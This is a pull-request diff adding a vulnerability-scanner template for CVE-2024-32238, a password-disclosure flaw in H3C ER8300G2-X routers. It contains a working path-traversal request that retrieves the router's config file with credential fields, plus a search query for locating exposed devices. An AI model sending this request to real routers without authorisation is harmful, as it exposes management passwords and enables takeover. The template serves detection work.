Merge pull request #10301 from Kazgangap/h3cpass

add CVE-2024-32238

http/cves/2024/CVE-2024-32238.yaml

@@ -0,0 +1,51 @@
+id: CVE-2024-32238
+
+info:
+  name: H3C ER8300G2-X - Password Disclosure
+  author: securityforeveryone
+  severity: critical
+  description: |
+    H3C ER8300G2-X is vulnerable to Incorrect Access Control. The password for the router's management system can be accessed via the management system page login interface.
+  reference:
+    - https://nvd.nist.gov/vuln/detail/CVE-2024-32238
+    - https://cvefeed.io/vuln/detail/CVE-2024-32238
+    - https://github.com/asdfjkl11/CVE-2024-32238/issues/1
+    - https://www.h3c.com/cn/Products_And_Solution/InterConnect/Products/Routers/Products/Enterprise/ER/ER8300G2-X/
+    - https://github.com/FuBoLuSec/CVE-2024-32238
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2024-32238
+    cwe-id: CWE-522
+    epss-score: 0.00043
+    epss-percentile: 0.09279
+  metadata:
+    verified: true
+    max-request: 1
+    fofa-query: app="H3C-Ent-Router" && title=="ER8300G2-X系统管理"
+  tags: cve,cve2024,leak,h3c
+
+http:
+  - raw:
+      - |
+        GET /userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - 'vtyname'
+          - 'vtypasswd'
+          - 'auxauthmode'
+        condition: and
+
+      - type: word
+        part: content_type
+        words:
+          - 'application/x-unknown'
+
+      - type: status
+        status:
+          - 200